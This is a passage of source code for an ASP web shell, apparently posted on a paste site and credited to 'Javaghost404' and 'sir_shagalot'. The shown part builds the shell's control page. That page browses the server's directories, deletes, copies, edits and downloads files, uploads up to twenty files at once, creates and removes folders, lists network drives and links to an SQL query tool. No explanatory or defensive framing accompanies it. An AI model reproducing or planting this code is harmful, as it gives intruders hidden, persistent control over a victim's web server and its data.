  675. <%
  676. Response.end
  677. end if
  678. ' ---DRIVES stop here
  679. %>
  680. <HEAD>
  681. <SCRIPT Language="VBScript">
  682. sub getit(thestuff)
  683. if right("<%=showPath%>",1) <> "\" Then
  684. document.myform.txtpath.value = "<%=showPath%>" & "\" & thestuff
  685. Else
  686. document.myform.txtpath.value = "<%=showPath%>" & thestuff
  687. End If
  688. document.myform.submit()
  689. End sub
  690. </SCRIPT>
  691. </HEAD>
  692. <%
  693. '---Report errors
  694. select case err.number
  695. case "0"
  696. response.write "<font face=webdings color=#55ff55>i</font> <font face=arial size=-2>Successfull..</font>"
  697.  
  698. case "58"
  699. response.write "<font face=arial size=-1 color=red>Folder already exists OR no folder name specified...</font>"
  700.  
  701. case "70"
  702. response.write "<font face=arial size=-1 color=red>Permission Denied, folder/file is readonly or contains such files...</font>"
  703.  
  704. case "76"
  705. response.write "<font face=arial size=-1 color=red>Path not found...</font>"
  706.  
  707. case "424"
  708. response.write "<font face=arial size=-1 color=red>Missing, Insufficient data OR file is readonly...</font>"
  709.  
  710. case else
  711. response.write "<font face=arial size=-1 color=red>" & err.description & "</font>"
  712.  
  713. end select
  714. '---Report errors end
  715. %>
  716. <center><B>ASP</b><font color=#ff8300 face=webdings size=6 >!</font><B><font color=Gray >Spyder</font> Apr2003</B><BR><font color=black size=-2><TT>by ~sir_shagalot</TT></font></center>
  717. <font face=Courier>
  718. <table><tr><td>
  719. <form method="post" action="<%=Request.Servervariables("SCRIPT_NAME")%>" name="myform" >
  720. <Table bgcolor=#505050 ><tr><td bgcolor=#505050 >
  721. <font face=Arial size=-2 color=#ff8300 > PATH INFO : </font></td><td align=right ><font face=Arial size=-2 color=#ff8300 >Volume Label:</font> <%=drv.VolumeName%> </td></tr>
  722. <tr><td colspan=2 cellpadding=2 bgcolor=#303030 ><font face=Arial size=-1 color=gray>Virtual: http://<%=Request.ServerVariables("SERVER_NAME")%><%=Request.Servervariables("SCRIPT_NAME")%></Font><BR><font face=wingdings color=Gray >1</font><font face=Arial size=+1 > <%=showPath%></Font>
  723. <BR><input type=text width=40 size=60 name=txtpath value="<%=showPath%>" ><input type=submit name=cmd value=" View " >
  724. </td></tr></form></table>
  725. </td><td><center>
  726. <table bgcolor=#505050 cellpadding=4><tr><td bgcolor=black ><a href="<%=Request.Servervariables("SCRIPT_NAME")%>?getDRVs=@&txtpath=<%=MyPath%>"><font size=-2 face=arial>Retrieve Available Network Drives</a></td></tr>
  727. <tr><td bgcolor=black align=right><A HREF="<%=Request.Servervariables("SCRIPT_NAME")%>?qa=@&txtpath=<%=MyPath%>"><font size=-2 face=arial>SQL Query Analyser</A></td></tr>
  728. <tr><td bgcolor=black align=right><A HREF="<%=Request.Servervariables("SCRIPT_NAME")%>?logoff=@&...thankyou.for.using.Javaghost404 Shell....~sir_shagalot!..[shagzzz.cjb.net]"><font size=-2 face=arial>+++LOGOFF+++</A></td></tr></table>
  729. </td></tr></table>
  730. <p align=center ><Table width=75% bgcolor=#505050 cellpadding=4 ><tr><td>
  731. <form method="post" action="<%=Request.Servervariables("SCRIPT_NAME")%>" ><font face=arial size=-1 >Delete file from current directory:</font><BR>
  732. <select size=1 name=ToDelete >
  733. <option>------------------------------</option>"
  734. <%
  735. fi=0
  736. For each file in folder.Files
  737. Response.Write "<option>" & file.name & "</option>"
  738. fi=fi+1
  739. next
  740. Response.Write "</select><input type=hidden name=txtpath value=""" & MyPath & """><input type=Submit name=cmd value=Delete ></form></td><td>"
  741. Response.Write "<form method=post name=frmCopyFile action=""" & Request.Servervariables("SCRIPT_NAME") & """ ><font face=arial size=-1 >Copy file too current directory:</font><br><select size=1 name=ToCopy >"
  742. Response.Write "<option>------------------------------</option>"
  743. For each file in fileCopy.Files
  744. Response.Write "<option>" & file.name & "</option>"
  745. next
  746. Response.Write "</select><input type=hidden name=txtpath value=""" & MyPath & """><input type=Submit name=cmd value="" Copy "" ></form></td></tr></Table>"
  747. Response.Flush
  748. ' ---View Tree Begins Here
  749. Response.Write "<table Cellpading=2 width=75% bgcolor=#505050 ><tr><td valign=top width=50% bgcolor=#303030 >Folders:<BR><BR>"
  750. fo=0
  751. Response.Write "<font face=wingdings color=Gray >0</font> <FONT COLOR=#c8c8c8><span style='cursor: hand;' OnClick=""getit('..')"">..</span></FONT><BR>"
  752.  
  753. For each fold in folder.SubFolders '-->FOLDERz
  754. fo=fo+1
  755. Response.Write "<font face=wingdings color=Gray >0</font> <FONT COLOR=#eeeeee><span style='cursor: hand;' OnClick=""getit('" & fold.name & "')"">" & fold.name & "</span></FONT><BR>"
  756. Next
  757. %>
  758. <BR><center><form method=post action="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=MyPath%>">
  759. <table bgcolor=#505050 cellspacing=4><tr><td>
  760. <font face=arial size=-1 title="Create and Delete folders by entering their names here manually.">Directory:</td></tr>
  761. <tr><td align=right ><input type=text size=20 name=DirName><BR>
  762. <input type=submit name=cmd value=Create><input type=submit name=cmd value=Delete><input type=hidden name=DirStuff value=@>
  763. </tr></td></table></form>
  764. <%
  765. Response.Write "<BR></td><td valign=top width=50% bgcolor=#303030 >Files:<BR><BR>"
  766. Response.Flush
  767. %>
  768. <form method=post name=frmCopySelected action="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=MyPath%>">
  769. <%
  770. Response.write "<center><select name=Fname size=" & fi+3 & " style=""background-color: rgb(48,48,48); color: rgb(210,210,210)"">"
  771. For each file in folder.Files '-->FILEz
  772. Response.Write "<option value=""" & file.name & """>&nbsp;&nbsp;" & file.name & " -- [" & Int(file.size/1024)+1 & " kb]</option>"
  773. Next
  774. Response.write "</select>"
  775. Response.write "<br><input type=submit name=cmd value="" Copy ""><input type=submit name=cmd value=""Edit/Create""><input type=submit name=cmd value=Download>"
  776. %>
  777. </form>
  778. <%
  779. Response.Write "<BR></td></tr><tr><td align=center ><B>Listed: " & fo & "</b></td><td align=center ><b>Listed: " & fi & "</b></td></tr></table><BR>"
  780. ' ---View Tree Ends Here
  781. ' ---Upload Routine starts here
  782. %>
  783. <form method="post" ENCTYPE="multipart/form-data" action="<%=Request.Servervariables("SCRIPT_NAME")%>?upload=@&txtpath=<%=MyPath%>">
  784. <table bgcolor="#505050" cellpadding="8">
  785. <tr>
  786. <td bgcolor=#303030 valign="bottom"><font size=+1 face=wingdings color=Gray >2</font><font face="Arial" size=-2 color="#ff8300"> SELECT FILES TO UPLOAD:<br>
  787. <input TYPE="FILE" SIZE="53" NAME="FILE1"><BR>
  788. <input TYPE="FILE" SIZE="53" NAME="FILE2"><BR>
  789. <input TYPE="FILE" SIZE="53" NAME="FILE3"><BR>
  790. <input TYPE="FILE" SIZE="53" NAME="FILE4"><BR>
  791. <input TYPE="FILE" SIZE="53" NAME="FILE5"><BR>
  792. <input TYPE="FILE" SIZE="53" NAME="FILE6"><BR>
  793. <input TYPE="FILE" SIZE="53" NAME="FILE7"><BR>
  794. <input TYPE="FILE" SIZE="53" NAME="FILE8"><BR>
  795. <input TYPE="FILE" SIZE="53" NAME="FILE9"><BR>
  796. <input TYPE="FILE" SIZE="53" NAME="FILE10"><BR>
  797. <input TYPE="FILE" SIZE="53" NAME="FILE11"><BR>
  798. <input TYPE="FILE" SIZE="53" NAME="FILE12"><BR>
  799. <input TYPE="FILE" SIZE="53" NAME="FILE13"><BR>
  800. <input TYPE="FILE" SIZE="53" NAME="FILE14"><BR>
  801. <input TYPE="FILE" SIZE="53" NAME="FILE15"><BR>
  802. <input TYPE="FILE" SIZE="53" NAME="FILE16"><BR>
  803. <input TYPE="FILE" SIZE="53" NAME="FILE17"><BR>
  804. <input TYPE="FILE" SIZE="53" NAME="FILE18"><BR>
  805. <input TYPE="FILE" SIZE="53" NAME="FILE19"><BR>
  806. <input TYPE="FILE" SIZE="53" NAME="FILE20"><BR>
  807.  
  808. &nbsp;&nbsp;<input TYPE="submit" VALUE="Upload !" name="Upload" TITLE="If you recieve an error while uploading, then most likely you do not have write access to disk !!">
  809. </font></td>
  810. </tr>
  811. </table>
  812. <BR>
  813. <table bgcolor="#505050" cellpadding="6">
  814. <tr>
  815. <td bgcolor="#000000" valign="bottom"><font face="Arial" size="-2" color=gray>NOTE FOR UPLOAD -
  816. YOU MUST HAVE VBSCRIPT v5.0 INSTALLED ON YOUR WEB SERVER&nbsp; FOR THIS LIBRARY TO
  817. FUNCTION CORRECTLY. YOU CAN OBTAIN IT FREE FROM MICROSOFT WHEN YOU INSTALL INTERNET
  818. EXPLORER 5.0 OR LATER. WHICH IS, MOST LIKELY, ALREADY INSTALLED. This Shell Created BY JavaGhost404</font></td>
  819. </tr>
  820. </table>
  821. </form>
  822. <%
  823. ' ---Upload Routine stops here
  824. %>
  825.  
  826. </font><HR><P align=right><font color=#ff8300><TT>Copyright 2014 Javaghost404.</B></font><BR><font size=1 face=arial>[ System: <%=now%> ]</font></p><BR>
  827. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement